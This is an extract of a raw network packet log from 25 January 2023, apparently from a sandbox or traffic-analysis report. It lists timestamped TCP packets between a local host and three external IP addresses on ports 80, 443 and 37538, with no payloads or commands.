Jan 25, 2023 09:42:44.390517950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390546083 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390564919 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390573025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390599966 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390600920 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390620947 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390626907 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390655041 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390655994 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390671968 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390671968 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390717983 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390738010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390738010 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390743971 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390773058 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390799999 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390800953 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390819073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390827894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390856028 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390858889 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390877008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390882969 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390917063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390919924 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390930891 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390948057 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390974998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.390975952 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.390994072 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391002893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391030073 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391056061 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391057014 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391072989 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391098022 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391109943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391114950 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391127110 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391140938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391146898 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391155005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391166925 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391175032 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391184092 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391202927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391216993 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391230106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391263008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391263008 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391288042 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391315937 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391345024 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391372919 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.391388893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391407967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.391424894 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408485889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408552885 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408593893 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408632040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408638954 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408669949 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408670902 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408691883 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408706903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408745050 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408768892 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408783913 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408821106 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408843994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408859015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408885002 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408910990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408950090 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.408956051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408973932 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.408988953 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409017086 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409028053 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409046888 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409066916 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409090996 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409105062 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409126997 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409143925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409167051 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409183025 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409202099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409221888 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409241915 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409260988 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409270048 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409300089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409337997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409348965 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409377098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409406900 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409415007 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409429073 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409454107 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409475088 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409496069 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409538984 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409550905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409579992 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409600973 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409620047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409641027 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409657955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409676075 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409698009 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409727097 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409735918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409774065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409785986 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409812927 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409837961 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409853935 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409876108 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409894943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409934998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409943104 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409962893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.409974098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.409996033 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410012960 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410052061 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410052061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410070896 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410092115 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410111904 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410131931 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410147905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410168886 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410191059 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410209894 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410248995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410259962 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410286903 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410305977 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410326004 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410365105 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410379887 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410403967 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410420895 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410443068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410489082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410491943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410520077 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410531998 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410558939 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410571098 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410603046 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410609961 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410649061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410651922 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410708904 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410732031 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410758972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410799026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410839081 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410845995 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410877943 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410888910 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.410917997 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410958052 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.410996914 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411035061 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411041021 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411077023 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411079884 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411117077 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411155939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411164999 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411195040 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411210060 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411233902 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411274910 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411290884 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411314011 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411354065 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411367893 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411393881 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411432981 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411449909 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411472082 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411516905 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411516905 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411556959 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411597013 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411618948 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411637068 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411676884 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411695004 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411716938 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411756039 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411772013 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411797047 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411838055 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411878109 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411917925 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411932945 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411947966 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.411959887 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.411999941 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.412039995 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.412066936 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.412084103 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.412107944 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:44.412127972 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:44.412281036 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:46.217974901 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.447266102 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.447369099 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.466459990 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.466512918 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.532133102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.532187939 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.532346964 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.589936972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.589936972 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.607209921 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.607256889 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.669029951 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.669085026 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.669193983 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.723962069 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.724030018 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.741178989 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.741224051 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.802829027 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.802855015 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.802942991 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.810410976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.810410976 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.827428102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.827470064 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.891894102 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.891952038 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.892051935 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.904700994 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.904776096 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.923345089 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.986310005 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.986373901 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:48.986458063 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.997200012 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:48.997236967 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:49.015119076 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:49.078161955 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:49.078224897 CET	80	49728	188.114.97.3	192.168.2.3
Jan 25, 2023 09:42:49.080961943 CET	49728	80	192.168.2.3	188.114.97.3
Jan 25, 2023 09:42:51.546077967 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:51.546159983 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:51.546372890 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:51.564165115 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:51.564210892 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:51.671003103 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:51.671155930 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.043303013 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.043355942 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.043956995 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.044035912 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.047004938 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.047029972 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.096648932 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.096740007 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.096779108 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.096843004 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.096893072 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:42:53.096959114 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.184154987 CET	49730	443	192.168.2.3	162.0.217.254
Jan 25, 2023 09:42:53.184199095 CET	443	49730	162.0.217.254	192.168.2.3
Jan 25, 2023 09:43:13.683999062 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:13.709927082 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:13.710098028 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:14.099188089 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:14.122668028 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:14.196139097 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:16.138783932 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:16.162357092 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:16.305691004 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:24.004493952 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:24.030076981 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:24.030153990 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:24.030213118 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:24.030225992 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:24.030277014 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:24.030277967 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:29.958518982 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:29.983184099 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:30.197449923 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:32.211941004 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:32.235280991 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:32.237526894 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:32.307158947 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:32.492067099 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:32.516401052 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:32.516801119 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:32.697679996 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.149985075 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.172879934 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.173187017 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.173245907 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.173396111 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.173520088 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.196527958 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.196715117 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.196770906 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.196902990 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.197300911 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.197403908 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.197896004 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.197917938 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.198013067 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.198901892 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.201075077 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.220236063 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.220298052 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.220534086 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.220901966 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.220940113 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.220973015 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.221008062 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.221019983 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.221108913 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.221221924 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.221319914 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.222033024 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.243949890 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.243979931 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.243998051 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.244009972 CET	37538	49733	89.208.103.88	192.168.2.3
Jan 25, 2023 09:43:33.244117975 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.244117975 CET	49733	37538	192.168.2.3	89.208.103.88
Jan 25, 2023 09:43:33.244467974 CET	37538	49733	89.208.103.88	192.168.2.3
